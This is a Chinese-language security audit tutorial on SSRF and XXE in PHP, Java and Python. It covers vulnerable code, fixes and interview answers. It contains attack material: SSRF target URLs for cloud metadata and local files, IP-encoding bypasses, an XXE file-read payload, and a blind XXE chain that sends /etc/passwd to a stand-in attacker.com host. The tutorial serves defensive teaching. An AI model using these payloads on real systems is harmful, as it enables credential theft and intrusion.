SSRF 与 XXE 审计

SSRF 与 XXE 是两类「服务端被当成跳板 / 解析器被滥用」的漏洞:前者让服务器替攻击者发起任意网络请求,后者让 XML 解析器替攻击者加载外部实体。二者都是代码审计的高频考点——找到 Sink(危险函数),确认目标(URL / XML 输入)用户可控且无任何校验,漏洞即成立。

这篇笔记按「原理 → 各语言怎么审 → 面试速答」组织。每个案例都配了逐行注释的代码和编号的数据流步骤,零基础也能顺着走一遍。


先修知识

读这篇之前,先认识这些词,后面不再重复解释:

  • Source(污染源):攻击者能控制的输入,比如 $_GET['url']、HTTP 请求体。审计的第一步永远是找 Source。
  • Sink(危险函数/汇聚点):真正干危险事儿的函数,比如 curl_exec()(发网络请求)、builder.parse()(解析 XML)。审计的第二步是找 Sink。
  • 数据流(Data Flow):Source 的数据经过哪些变量、函数,最终流进 Sink。审计就是沿着这条路走一遍,看中间有没有过滤。
  • SSRF:Server-Side Request Forgery,服务端请求伪造。类比:你让前台小哥”帮我打个电话查个号”,小哥不核实就照打——你把号码换成公司内部总机,小哥就成了你打探内网的工具人。
  • XXE:XML External Entity,XML 外部实体注入。类比:合同模板里允许写”此处金额见另一份文件”,对方递上来的合同写”见 /etc/passwd”,办事员真去把那文件抄进了合同正文。
  • 内网(Intranet):服务器自己所在的、外网访问不到的内部网络,比如 127.0.0.1、10.x.x.x、192.168.x.x 网段。SSRF 的价值就在于攻击者够不着内网,但服务器够得着。
  • 云元数据(Metadata):云服务器上有一个内部地址(AWS/阿里云是 169.254.169.254,阿里云另有一个 100.100.100.200),访问它能拿到这台机器的临时 AccessKey 等敏感信息。这是 SSRF 最值钱的目标之一。
  • 伪协议 / 封装协议(Wrapper / Scheme):URL 开头 xxx:// 的部分。除了 http://,很多语言还支持 file://(读本地文件)、gopher://(发任意 TCP 报文)、dict://、ftp:// 等。SSRF 能玩出花全靠它们。
  • 白名单 / 黑名单:白名单=「只放行列表里的」;黑名单=「只拦截列表里的」。安全上黑名单几乎必被绕过,因为变形太多,后面会反复看到。
  • XML / DOCTYPE / 实体(Entity):XML 是一种标签化数据格式;DOCTYPE 是文档头部的”声明区”,可以在里面定义实体;实体就是”占位符”,解析时会被替换成它指向的内容(可以是字符串、本地文件、远程 URL)。
  • 参数实体(Parameter Entity):以 % 开头、只在 DTD 内部使用的实体,是盲 XXE(无回显时把数据偷偷带出去)的核心道具。
  • 302 跳转(重定向):服务器回一句”你要的东西在另一个地址”,客户端自动跟过去。SSRF 防御如果只管第一层 URL 不管跳转后的地址,等于白防。
  • DNS Rebinding:攻击者控制的域名,第一次解析返回正常 IP(骗过校验),第二次解析返回内网 IP(真实建连)。防它要”校验和建连用同一个 IP”。

第一章 SSRF 审计

通用原理

是什么

SSRF(Server-Side Request Forgery,服务端请求伪造)的成因一句话:服务端根据用户可控的 URL 发起请求,且未对协议与目标地址做白名单校验。

生活化类比:你小区门口的快递代收点提供”代打电话”服务。你报个号码它就打。正常人报外卖电话,坏人报的是小区物业内部对讲机的号码——代收点能打进去,你本人打不进去。SSRF 里,服务器就是这个不加甄别的代收点,内网服务就是那个”只有内部人能打进去的号码”。

为什么会出现这个漏洞

开发者写这类功能时,动机往往很正当、很日常:

  • 产品要一个”粘贴图片链接,服务器帮你抓下来存好”的功能;
  • 要一个”输入文章 URL,生成标题摘要的预览卡片”;
  • 要一个 Webhook:用户填回调地址,出事了服务器主动通知他;
  • 要 RSS 订阅导入、在线翻译、“把这张 PDF 转个格式”……

这些需求翻译成代码,自然就是「拿用户给的 URL → 发个请求」。开发者图省事直接 requests.get(用户输入),或者压根不知道 file:// 这种协议也能走通、不知道 127.0.0.1 有一万种写法——漏洞就埋下了。它不是一个” bug “,是一个”没想到”。

攻击者借此能干什么:

  • 探测/攻击内网服务:拿服务器当跳板扫内网端口、打内网 Redis(6379)、打内网的管理后台——这些东西外网根本摸不到;
  • 读云元数据:访问 http://169.254.169.254/latest/meta-data/(AWS 等)或阿里云 100.100.100.200,窃取临时 AccessKey,进而控制整台云主机甚至整个账号;
  • 读本地文件 / 构造任意报文:file:///etc/passwd 读服务器文件;gopher:// 手工拼 TCP 报文,直接对内网 Redis、MySQL 等明文协议服务下命令。

审计时怎么找(四步判定法)

  1. 找 Sink:先搜发起网络请求的函数(各语言清单见下面三节)。比如 PHP 搜 curl_exec,Java 搜 RestTemplate,Python 搜 requests.get。
  2. 回溯 Source:看这个函数的 URL 参数从哪来。如果一路能追到 $_GET、@RequestParam、请求体,且中间没有”硬编码替换”或”白名单拦截”,就高度可疑。常见业务形态(远程图片抓取、URL 预览、Webhook、RSS 导入、在线翻译)是重点排查对象。
  3. 看校验:有没有协议白名单(只允许 http/https)?有没有目标 IP 校验(把域名解析成 IP 后,拒绝内网/回环段)?两个都没有 → 漏洞成立。
  4. 有校验也别放过,检查能不能绕:302 跳转跟随、DNS rebinding、短网址、0.0.0.0/[::]、IP 的十进制/八进制/十六进制写法、xip.io / localtest.me 这类”解析到内网的公开域名”。

一句话口诀:找发请求的函数 → 追 URL 来源 → 看协议和 IP 两道关 → 有关卡就试绕过。


PHP

Sink 与成因

Sink说明危害
curl_exec()最常见。cURL 支持的协议由编译时的 libcurl 决定,常见可打 http/https/file/ftp/gopher/dict内网探测 / 读文件
file_get_contents()支持 http://、ftp:// 等封装协议,常被当作”读远程内容”的简便写法内网探测 / 读文件
fsockopen()原始 TCP 连接,可手工构造任意协议报文打内网任意 TCP 服务
SoapClientSOAP 客户端,构造时传入的 WSDL 地址可控即可触发 SSRF内网探测

成因统一为:URL 参数未校验直接传入上述函数。审计时先全局搜这几个关键字,再逐个回溯参数来源。

案例:远程图片抓取接口(完整回溯)

业务背景:网站允许用户粘贴一个图片 URL,服务器把图抓下来显示给用户。这是很常见的功能,也是很常见的 SSRF 温床。

<?php
// ❌ 漏洞代码:抓取用户指定的远程图片并回显
$url = $_GET['url'];                          // ① Source:用户输入原样进入,未做任何检查
$ch = curl_init($url);                        // ② 用用户输入初始化 cURL 会话(此时还没发请求)
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // ③ 设置"把响应存到变量里返回",而不是直接打印
$content = curl_exec($ch);                    // ④ Sink:服务器真正发起了请求!目标是用户给的任意地址
curl_close($ch);
header('Content-Type: image/jpeg');           // ⑤ 声明"我返回的是图片"
echo $content;                                // ⑥ 把抓到的内容回显给攻击者 → 内网服务的响应被带出来了

数据流(跟着编号走一遍):

  1. 用户输入从哪进来:GET /fetch.php?url=http://example.com/a.jpg,$_GET['url'] 拿到完整 URL,第 2 行没有任何过滤;
  2. 经过什么处理:curl_init($url) 只是”登记”了目标,CURLOPT_RETURNTRANSFER 只是配置项,全程无校验;
  3. 到达哪个危险函数:curl_exec()(第 6 行)——请求由服务器发出,攻击者自己摸不到的内网,服务器摸得到;
  4. 为什么防线失效:代码里根本没有防线——没查协议(file:// 也能跑)、没查目标 IP(127.0.0.1 随便打)、还把结果原样回显(第 9 行 echo),连”盲打”的限制都没有。

攻击者会怎么用这个接口(把 url 参数换成这些值):

  • http://127.0.0.1:6379/ → 探测本机 Redis 是否开放,响应回显里能看到 Redis 的报错 Banner;
  • http://192.168.1.1/admin → 摸内网路由器的管理页;
  • file:///etc/passwd → cURL 编译时带 file 协议支持的话,直接把服务器密码文件读出来;
  • http://169.254.169.254/latest/meta-data/iam/security-credentials/ → 云主机场景窃取临时凭据。

审计结论:curl_init 的目标 URL 完全由用户控制,无协议白名单、无内网 IP 校验,SSRF 成立。

顺带一个孪生写法:file_get_contents($_GET['url'])——很多教程教人这么”读远程文件”,它默认支持 http/ftp 封装协议,风险与 curl_exec 相同;如果项目里还开了 allow_url_include(允许把远程内容当 PHP 代码 include),风险会直接升级成远程代码执行。

防御与修复

<?php
// ✅ 协议白名单 + 解析后校验目标 IP 非内网
function safeFetch(string $url) {
    $parts = parse_url($url);                                   // 把 URL 拆成 scheme/host/path 等零件
    if (!in_array($parts['scheme'] ?? '', ['http', 'https'], true)) {
        throw new InvalidArgumentException('scheme not allowed'); // 1. 协议白名单:file/gopher/dict 全部出局
    }
    $ip = gethostbyname($parts['host']);                        // 2. 把域名解析成 IP(域名本身骗不了人,IP 才算数)
    // 3. 拒绝内网/回环/保留地址段(filter_var 的两个 FLAG 就是干这个的)
    if (filter_var($ip, FILTER_VALIDATE_IP,
        FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        throw new InvalidArgumentException('internal ip');
    }
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);            // 4. 禁止 302 跳转跟随(防"先给你正常地址、再跳到内网")
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); // 5. 给 cURL 再钉死一道协议锁
    return curl_exec($ch);
}

前后对比:漏洞版是”用户给什么就打什么”;修复版多了五道闸——协议白名单 → 域名解析 → IP 段校验 → 禁跳转 → cURL 层再锁一次协议。审计时看到任何一道缺失,都要想想能不能绕。

Warning

只做字符串黑名单(如 strpos($url,'127.0.0.1'))几乎必然可绕:127.1、0x7f000001、2130706433、[::1]、localtest.me 等变形都能命中本机——因为 127.0.0.1 只是”127.0.0.1 这个整数的点分写法”,同一个数有好几种合法写法,字符串匹配拦不全。必须 解析 → 校验 IP → 禁跳转,三步缺一不可。

附:常见绕过变形速查(攻击者视角,审计时拿来对防御代码做对抗检查)

变形原理实际指向
127.1点分十进制允许省略中间的 0 段127.0.0.1
0x7f000001IP 的十六进制写法127.0.0.1
2130706433IP 的十进制整数写法(127×2²⁴+1)127.0.0.1
0177.0.0.1八进制写法127.0.0.1
[::1] / [::ffff:127.0.0.1]IPv6 回环 / IPv4 映射地址本机
localtest.me、127.0.0.1.nip.io公开域名,DNS 永远解析到 127.0.0.1本机
短网址(t.cn、bit.ly)短链跳转后的真实地址是内网任意
自建域名 + DNS rebinding第一次解析返回公网 IP 骗过校验,第二次返回内网 IP任意

审计防御代码时,拿这张表逐条”喂”给它的校验逻辑,看哪条能溜过去——能溜过去一条,防御就是纸糊的。


Java

Sink 与成因

Sink典型写法危害
URL.openConnection / openStreamnew URL(u).openConnection()内网探测
HttpURLConnection(HttpURLConnection) url.openConnection()内网探测
Apache HttpClientHttpClients.createDefault().execute(new HttpGet(u))内网探测
Spring RestTemplaterestTemplate.getForObject(u, ...) / exchange(...)内网探测
OkHttpClientclient.newCall(request).execute()内网探测
Jsoup.connectJsoup.connect(u).get()内网探测
ImageIO.read(url)ImageIO.read(new URL(u))图片处理场景的隐式 SSRF

成因与 PHP 相同:URL 用户可控且无校验。Java 侧额外提醒一点:ImageIO.read(URL) 这类”看起来不是 HTTP 客户端”的调用也会真的发请求——开发者以为自己在”读图片”,实际上在给 SSRF 开门。审计时别只搜带 “http” 字样的类。

审计案例(速览)

// ❌ 漏洞代码:URL 预览接口
@GetMapping("/preview")
public String preview(@RequestParam String url) {          // ① Source:url 参数用户可控
    // ② 未校验协议、未校验目标 IP
    String html = restTemplate.getForObject(url, String.class); // ③ Sink:服务端发请求
    return html;                                            // ④ 响应回显 → 内网内容外泄
}

数据流:① @RequestParam String url 进来 → ② 直通 RestTemplate → ③ 服务器代为请求 → ④ 回显。和 PHP 案例一模一样的结构,只是换了框架。审计套路完全通用。

防御与修复

URL 解析后做协议(只允许 http/https)+ 目标 IP 白名单双重校验;校验后用解析出的 IP 直接建连(防 DNS rebinding——校验时解析一次是公网 IP,建连时再解析就变成内网 IP 了);禁 302 跳转跟随或逐跳重新校验(HttpURLConnection.setInstanceFollowRedirects(false))。架构允许的话,把出站请求收敛到统一的 egress 网关做集中白名单,比在每段业务代码里写校验可靠得多。

// ✅ 协议白名单 + 解析后校验 IP + 禁跳转(HttpURLConnection 版)
public String safeFetch(String url) throws Exception {
    URL u = new URL(url);
    String scheme = u.getProtocol();
    if (!scheme.equals("http") && !scheme.equals("https")) {
        throw new IllegalArgumentException("scheme not allowed");   // 1. 协议白名单
    }
    InetAddress addr = InetAddress.getByName(u.getHost());          // 2. 域名解析成 IP
    if (addr.isLoopbackAddress() || addr.isSiteLocalAddress()
            || addr.isAnyLocalAddress() || addr.isLinkLocalAddress()) {
        throw new IllegalArgumentException("internal ip");          // 3. 拒绝内网/回环段
    }
    HttpURLConnection conn = (HttpURLConnection) u.openConnection();
    conn.setInstanceFollowRedirects(false);                         // 4. 禁 302 跳转跟随
    conn.setConnectTimeout(5000);
    conn.setReadTimeout(5000);                                      // 5. 超时兜底(防慢速拖死线程)
    // ... 读取响应
}

审计防御代码时重点核对:isSiteLocalAddress()(拦 10/8、172.16/12、192.168/16)和 isLoopbackAddress()(拦 127/8)有没有都调——只调一个是经典漏防。


Python

Sink 与成因

Sink说明判定要点
requests.get / post(url)最常见URL 的 scheme/host 是否可控
urllib.request.urlopen / urlretrieve标准库历史版本对 file:// 支持、对 gopher(经 CRLF 注入)可利用,风险高于 requests
urllib2.urlopen(Py2)老项目同上
httpx / aiohttp异步 / 新客户端同 requests

防御与修复

URL 白名单(域名级),解析后校验目标 IP 非内网/回环段;禁重定向跟随或逐跳校验(requests 默认是跟随跳转的,要显式 allow_redirects=False);对 urllib 场景额外限制 scheme 为 http/https。

# ✅ 域名白名单 + 解析后校验 IP + 禁跳转
import ipaddress, socket, requests
 
def safe_get(url: str) -> bytes:
    from urllib.parse import urlparse
    u = urlparse(url)                                  # 拆解 URL
    if u.scheme not in ("http", "https"):
        raise ValueError("scheme not allowed")         # 1. 协议白名单
    ip = socket.gethostbyname(u.hostname)              # 2. 域名解析成 IP
    addr = ipaddress.ip_address(ip)
    if addr.is_private or addr.is_loopback or addr.is_reserved:
        raise ValueError("internal ip")                # 3. 拒绝内网/回环/保留段
    r = requests.get(url, allow_redirects=False, timeout=5)  # 4. 禁跳转 + 超时兜底
    return r.content

思路和 PHP 版完全同构:协议关 → IP 关 → 跳转关。三个语言背一套思路就够了。


面试题眼速答(SSRF)

题眼一句话答案展开两三句
SSRF 成因是什么?服务端按用户可控的 URL 发起请求,没做协议和目标地址白名单。危害是拿服务器当跳板:探测/攻击内网服务(如 Redis)、读云元数据窃临时凭据、file:// 读本地文件。常见业务场景:远程图片抓取、URL 预览、Webhook、RSS 导入。
PHP 审计 SSRF 搜什么?curl_exec()、file_get_contents()、fsockopen()、SoapClient。file_get_contents 支持 http/ftp 封装协议,常被当”读远程内容”的简便写法而忽视;cURL 可用协议由 libcurl 编译决定,常见 file/gopher/dict。找到 Sink 后回溯 URL 是否用户可控、有无协议与 IP 白名单。
Java 审计 SSRF 搜什么?URL.openConnection、HttpURLConnection、HttpClient、RestTemplate、OkHttpClient,外加 Jsoup.connect、ImageIO.read(url) 这类隐式请求点。ImageIO.read(URL) 最容易漏——开发者以为在”读图片”,实际发了 HTTP 请求。审计时不能只看类名带不带 http。
Python 审计 SSRF 搜什么?requests.get/post、urllib.request.urlopen/urlretrieve、httpx/aiohttp。注意 urllib 历史版本支持 file://、且经 CRLF 注入可利用 gopher,风险高于 requests;requests 默认跟随 302,防御时要显式 allow_redirects=False。
SSRF 防御要点?协议白名单(仅 http/https)→ 解析域名后校验目标 IP 非内网/回环 → 禁 302 跳转跟随或逐跳校验。还要防 DNS rebinding(校验和建连要用同一个 IP)、IP 进制变形(127.1、0x7f000001、2130706433)、短网址、localtest.me 类域名绕过。
黑名单为什么防不住?因为同一个内网地址有无数种合法写法,字符串匹配拦不全。127.1、0x7f000001、2130706433、[::1]、特殊 DNS 域名都能指向本机;正确姿势是把域名解析成 IP 后用 filter_var / ipaddress 做段校验,而不是比字符串。

第二章 XXE 审计

通用原理

先补 XML 的三个概念

XXE 的一切都在围绕 XML 文档头部的”声明区”做文章,先把三个词搞明白:

  • XML:标签化的数据格式,<name>张三</name>。老系统、WebService/SOAP、SVG、docx/xlsx 里全是它。
  • DOCTYPE:XML 文档开头的”声明区”,形如 <!DOCTYPE name [ ... ]>,方括号里可以定义规则——包括实体。
  • 实体(Entity):文档里定义的”占位符”,用法是 &名字;,解析时会被替换成它指向的内容。类比 Word 邮件合并里的 «姓名» 域——打印时自动换成真人名字。关键问题在于:占位符指向的内容可以是一个外部文件或 URL(用 SYSTEM "协议://地址" 声明),这就是”外部实体”。

是什么

XXE(XML External Entity,XML 外部实体注入)的成因一句话:XML 解析器默认允许解析 DOCTYPE 中声明的外部实体,应用未显式禁用。

生活化类比:公司规定合同模板里可以写”第 X 条金额见另行提供的文件”,办事员照章办事,对方递来的文件写着”见保险柜里的账本”,办事员真去打开保险柜把账本抄进了合同——规矩本身给了对方调用内部资源的权力。XML 解析器就是这个办事员,DOCTYPE 里的实体声明就是那条”可以见外部文件”的规矩。

攻击者在 XML 里写:

<?xml version="1.0"?>                                    <!-- ① XML 版本声明,固定开头 -->
<!DOCTYPE x [                                             <!-- ② 打开 DOCTYPE 声明区,x 是文档类型名(随便起) -->
  <!ENTITY xxe SYSTEM "file:///etc/passwd">               <!-- ③ 定义外部实体:名字叫 xxe,内容是去读服务器本地文件 -->
]>                                                        <!-- ④ 关闭声明区 -->
<name>&xxe;</name>                                        <!-- ⑤ 正文里引用 &xxe; → 解析器把 /etc/passwd 的内容替换进来 -->

payload 逐段拆解:

  • 第 ① 行:XML 标准头,没什么好说的;
  • 第 ② 行:<!DOCTYPE x [ 打开声明区——能写 DOCTYPE 是一切的前提,所以修复方案里最狠的一招就是直接禁掉 DOCTYPE;
  • 第 ③ 行是核心:<!ENTITY 定义实体;xxe 是占位符名字;SYSTEM 表示”内容来自外部资源”;"file:///etc/passwd" 是资源地址——把 file:// 换成 http:// 就从读文件变成了发网络请求;
  • 第 ⑤ 行:&xxe; 触发替换。解析器读到它 → 按声明去读 /etc/passwd → 把文件内容塞进 <name> 节点 → 应用如果把这个节点的值回显出来,文件内容就到攻击者手里了。

由此衍生出四种危害:

  1. 任意文件读取(file://)——最经典;
  2. SSRF(http:// 指向内网)——和第一章联动,解析器替你发请求;
  3. 盲 XXE 外带:应用不回显节点内容时,用参数实体(% 开头的实体)先把文件内容读出来,再拼进一个指向攻击者服务器的 URL 里让解析器去请求——数据藏在 URL 里被带出去。典型打法分两个文件:
<!-- 攻击者发给目标的 XML(实体名带 %,是参数实体,只在声明区内部使用) -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">   <!-- ① 让解析器去攻击者服务器拉外部 DTD -->
  %dtd;                                                   <!-- ② 引用它 → evil.dtd 里的实体链开始生效 -->
]>
<root></root>
<!-- 攻击者服务器上的 evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">              <!-- ③ 读目标服务器的文件,内容存进 %file -->
<!ENTITY % send "<!ENTITY &#37; exfil SYSTEM 'http://attacker.com/?d=%file;'>"> <!-- ④ 动态定义实体,URL 里拼上文件内容 -->
%send;                                                    <!-- ⑤ 触发上面的定义 -->
%exfil;                                                   <!-- ⑥ 触发请求 → 文件内容出现在攻击者访问日志里 -->

链条逻辑:目标解析器拉外部 DTD(①②)→ DTD 里先读文件(③)再定义一个”回传专用”实体(④⑤)→ 解析器请求攻击者服务器时把文件内容放在 URL 参数里(⑥)→ 攻击者看自己服务器的访问日志即得数据。注意 ④ 里的 &#37; 是 % 的字符实体写法——DTD 里不能直接在定义中嵌套裸 %,必须这么转义。这套链成立的前提是外部参数实体没被禁——这就是为什么修复时 external-parameter-entities=false 和禁通用实体同样重要; 4. 部分场景还能打内网服务、用 expect:// 执行命令(依赖 PHP 装了 expect 扩展等特定环境,不常见但面试会问)。

为什么会出现这个漏洞

XML 诞生于”文档交换”年代,设计上就鼓励文档”自描述、可引用外部资源”,所以外部实体是标准功能,不是 bug。解析器厂商按标准实现,默认全开;开发者调 parse() 时想着”我就是解析个用户上传的 XML 配置”,不知道(或没意识到)默认配置等于把文件系统和内网交给了 XML 内容的作者。默认配置即漏洞——这是 XXE 和绝大多数漏洞画风不一样的地方,也是它好审的原因。

审计时怎么找(三步判定法)

  1. 找 XML 解析 Sink:搜各语言的解析器创建/解析调用(下面三节有清单);
  2. 确认输入用户可控:解析的内容来自请求体、上传文件、远程拉取的 XML;
  3. 看安全配置:是否显式禁用了 DOCTYPE 声明与外部实体。没配 = 默认危险 = 漏洞成立。注意:XXE 的审计结论往往不需要追踪复杂数据流——“解析不可信 XML + 没关实体”这八个字就够判了。

Java

Sink 与成因

Sink说明
DocumentBuilderFactory.newInstanceDOM 解析,默认不禁 DOCTYPE / 外部实体
SAXParserFactory.newInstanceSAX 解析,默认同样危险
XMLInputFactory.newInstanceStAX 解析
XMLReaderSAX 底层接口
dom4j SAXReader第三方库,默认危险
JDOM SAXBuilder第三方库
TransformerFactory / XPathFactoryXSLT 转换 / XPath 求值,同样会解析实体

Java 生态 XML 解析器特别多(历史包袱重),审计时把上面这张表挨个搜一遍,一个都别漏。

案例:DocumentBuilderFactory 回溯

业务背景:后台有一个”导入 XML 配置”的接口,接收前端 POST 上来的 XML 并解析。

@RestController
public class XmlController {
    // ❌ 漏洞代码:解析用户上传的 XML
    @PostMapping("/api/import")
    public String importXml(@RequestBody String xml) throws Exception { // ① Source:整个请求体是攻击者写的
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); // ② 拿解析器工厂——默认配置,没关任何功能
        DocumentBuilder builder = factory.newDocumentBuilder();          // ③ 由工厂造出解析器(继承默认配置)
        Document doc = builder.parse(new InputSource(new StringReader(xml))); // ④ Sink:解析不可信 XML,DOCTYPE/外部实体照单全收
        return doc.getElementsByTagName("name").item(0).getTextContent();  // ⑤ 把 <name> 节点的值回显给攻击者
    }
}

数据流(编号走一遍):

  1. 用户输入从哪进来:POST /api/import,请求体就是攻击者构造的 XML(含上面拆解过的 <!ENTITY xxe SYSTEM "file:///etc/passwd">);
  2. 经过什么处理:第 ②③ 行创建工厂和解析器——注意这两行什么都没配,这就是”防线失效”的位置,危险不在这两行写了什么,而在什么都没写;
  3. 到达哪个危险函数:builder.parse()(第 ④ 行)。解析器读到 &xxe; → 按声明读 /etc/passwd → 替换进 <name> 节点;
  4. 为什么防线失效:JDK 的 JAXP 实现默认允许 DOCTYPE 和外部实体,必须显式调 setFeature 关闭。本例一个 setFeature 都没调,外加第 ⑤ 行把节点内容回显,读到的文件内容直接回到攻击者眼前。把实体地址换成 http://192.168.x.x 就是 SSRF;换参数实体 + 外部 DTD 就是盲 XXE 外带。

审计结论:DocumentBuilderFactory 未做任何安全配置即解析外部 XML,XXE 成立。同类 Sink(SAXParserFactory、XMLInputFactory、dom4j SAXReader)同样默认危险——审计时见到这些类的 newInstance/new SAXReader 且后面没有一串 setFeature/setProperty,直接标高危再核对。

防御与修复

// ✅ 关闭 DTD 与外部实体(俗称"五连配置")
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);  // 1. 最狠的一招:整个 DOCTYPE 都不许出现
factory.setFeature("http://xml.org/sax/features/external-general-entities", false); // 2. 禁用外部通用实体(&xxe; 这种)
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // 3. 禁用外部参数实体(%dtd; 这种,堵盲 XXE)
factory.setXIncludeAware(false);                                                    // 4. 关掉 XInclude(DOCTYPE 之外的另一条引用外部资源的通道)
factory.setExpandEntityReferences(false);                                           // 5. 不展开实体引用,双保险

Warning

三件套建议全部显式设置:disallow-doctype-decl=true 单设即可拦下整个 DOCTYPE(此时文档内无法声明任何实体,含参数实体),但并非所有 JAXP 实现都支持该 feature(不支持的实现会抛异常或静默忽略),且 DOCTYPE 之外还有 XInclude 等向量——因此工程上 disallow-doctype-decl / external-general-entities / external-parameter-entities 全部显式设置,并补 setXIncludeAware(false) + setExpandEntityReferences(false)。更省心的方案是换用不解析实体的库(Jackson XML 默认安全)。

审计时的反面清单:见到只设了其中一两条 feature、或用 try/catch 把 setFeature 异常吞掉的写法,都要按”配置不完整”继续深挖。


PHP

Sink 与成因

Sink说明危害
simplexml_load_string() / simplexml_load_file()SimpleXML 解析文件读取 / SSRF
SimpleXMLElement(new)同上文件读取 / SSRF
DOMDocument::loadXML() / load()DOM 解析文件读取 / SSRF

成因:未调用 libxml_disable_entity_loader(true)。版本分界:PHP < 8 需手动关闭外部实体加载;PHP 8 起 libxml 默认禁用外部实体加载(libxml_disable_entity_loader() 自 8.0 起被废弃),风险大幅降低——但”大幅降低”不等于没有,见下面的 LIBXML_NOENT。

LIBXML_NOENT 风险:即使实体加载器已禁用,解析时显式传入 LIBXML_NOENT 标志会强制替换(展开)实体,等于人为把 XXE 又打开了。审计时见到 simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT) 或 DOMDocument::loadXML($xml, LIBXML_NOENT) 直接判高危。

// ❌ 危险写法一:LIBXML_NOENT 强制展开实体(PHP 8 也救不了)
$xml = simplexml_load_string($_POST['xml'], 'SimpleXMLElement', LIBXML_NOENT);
 
// ❌ 危险写法二:PHP < 8 下未禁用实体加载器(默认是开启的)
$xml = simplexml_load_string($_POST['xml']);

审计步骤:① 搜 simplexml_load_string / simplexml_load_file / SimpleXMLElement / DOMDocument::loadXML / load( → ② 看解析的字符串是不是用户可控 → ③ 看前面有没有 libxml_disable_entity_loader(true)、参数里有没有 LIBXML_NOENT。有 NOENT 直接判;没有则看 PHP 版本,< 8 且没禁用加载器 → 判。

防御与修复

// ✅ PHP < 8:解析前全局禁用外部实体加载器
libxml_disable_entity_loader(true);          // 全局开关:之后所有 libxml 解析都不再加载外部实体
$xml = simplexml_load_string($input);        // 注意:不传 LIBXML_NOENT

配套措施:解析参数绝不带 LIBXML_NOENT / LIBXML_DTDLOAD / LIBXML_DTDATTR(后两个会加载外部 DTD);升级到 PHP 8+;能从协议层换 JSON 就不用 XML——没有 XML 就没有 XXE。


Python

Sink 与成因

Python 的画风不太一样:标准库的 XML 解析(xml.etree.ElementTree、xml.dom.minidom 等)对外部实体默认不展开,经典 file:///etc/passwd 那套打不动它——但别高兴太早:

  • 多数实现仍受**实体膨胀攻击(Billion Laughs)**影响:DOCTYPE 里定义一串互相引用的实体,一个 &lol9; 展开成几个 GB 的文本,直接把服务器内存打爆(拒绝服务);
  • 外部 DTD 获取等场景仍有残留风险;
  • 第三方库 lxml 默认会解析实体,经典 XXE 在 lxml 上是成立的。

所以 Python 的审计关键字是:xml.etree / minidom / expat / lxml 的解析调用,重点看 lxml。

防御与修复

防御的”标准答案”是换用 defusedxml(一个专门给各标准解析器打安全补丁的库,API 与标准库一致):

# ❌ 有风险:标准库解析不可信 XML
import xml.etree.ElementTree as ET
root = ET.fromstring(untrusted_xml)   # 实体膨胀 / 外部 DTD 等攻击面仍在
 
# ❌ 更危险:lxml 默认配置(会解析实体,经典 XXE 成立)
from lxml import etree
root = etree.fromstring(untrusted_xml)
 
# ✅ 安全:defusedxml 默认拒绝实体、DTD、外部引用
from defusedxml.ElementTree import fromstring
root = fromstring(untrusted_xml)
 
# ✅ 必须用 lxml 时:显式构造安全 parser
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)  # 不解析实体 + 禁止网络访问
root = etree.fromstring(untrusted_xml, parser=parser)

审计要点:搜 xml.etree/minidom/expat/lxml 的解析调用 → 看输入是否不可信 → 是否已替换为 defusedxml(或在 lxml 中显式 resolve_entities=False, no_network=True)。lxml 场景必须确认构造了安全 parser——etree.fromstring(x) 裸调即漏洞。


面试题眼速答(XXE)

题眼一句话答案展开两三句
XXE 成因是什么?XML 解析器默认允许解析 DOCTYPE 里声明的外部实体,应用没有显式禁用。外部实体用 SYSTEM "协议://地址" 声明,解析时内容被替换进文档:file:// 任意文件读取、http:// 打内网(SSRF)、参数实体 + 外部 DTD 做盲 XXE 外带,特定环境还能 expect:// 执行命令。
Java 审计 XXE 怎么判?找到解析器创建点,看有没有显式禁用 DOCTYPE 和外部实体——默认配置即漏洞。Sink 清单:DocumentBuilderFactory、SAXParserFactory、XMLInputFactory、XMLReader、dom4j SAXReader、JDOM SAXBuilder、TransformerFactory/XPathFactory。见到 newInstance 后没有一串 setFeature 基本就能判。
Java XXE 修复要点?三件套全设,再补 XInclude 和实体展开两道闸。disallow-doctype-decl=true + external-general-entities=false + external-parameter-entities=false,外加 setXIncludeAware(false) + setExpandEntityReferences(false);更省心的方案是换 Jackson XML(默认不解析实体)。
PHP XXE 版本分界?PHP < 8 要手动 libxml_disable_entity_loader(true),PHP 8 起 libxml 默认禁用外部实体加载。但解析参数带 LIBXML_NOENT 会强制展开实体,PHP 8 也照样中招——审计时见到 LIBXML_NOENT(以及 LIBXML_DTDLOAD/DTDATTR)直接判高危。
PHP 审计 XXE 搜什么?simplexml_load_string/load_file、SimpleXMLElement、DOMDocument::loadXML()。先看输入是否用户可控,再看有没有禁用实体加载器、参数里有没有 LIBXML_NOENT。简单记:有 NOENT 必死,没禁加载器看版本。
Python XXE 怎么防?统一换 defusedxml;lxml 必须显式 resolve_entities=False, no_network=True。标准库默认不展开外部实体(经典读文件打不动),但仍有实体膨胀(Billion Laughs,拒绝服务)和外部 DTD 风险;lxml 默认解析实体,裸调 etree.fromstring 即漏洞。
盲 XXE 怎么把数据带出来?用参数实体先把文件读出来,再拼进指向攻击者服务器的 URL 让解析器去请求。适用于应用不回显节点内容的场景:XML 里引外部 DTD(<!ENTITY % dtd SYSTEM "http://攻击者/evil.dtd">),evil.dtd 里定义”读文件→拼 URL→发起请求”的参数实体链,数据藏在请求 URL 里外带。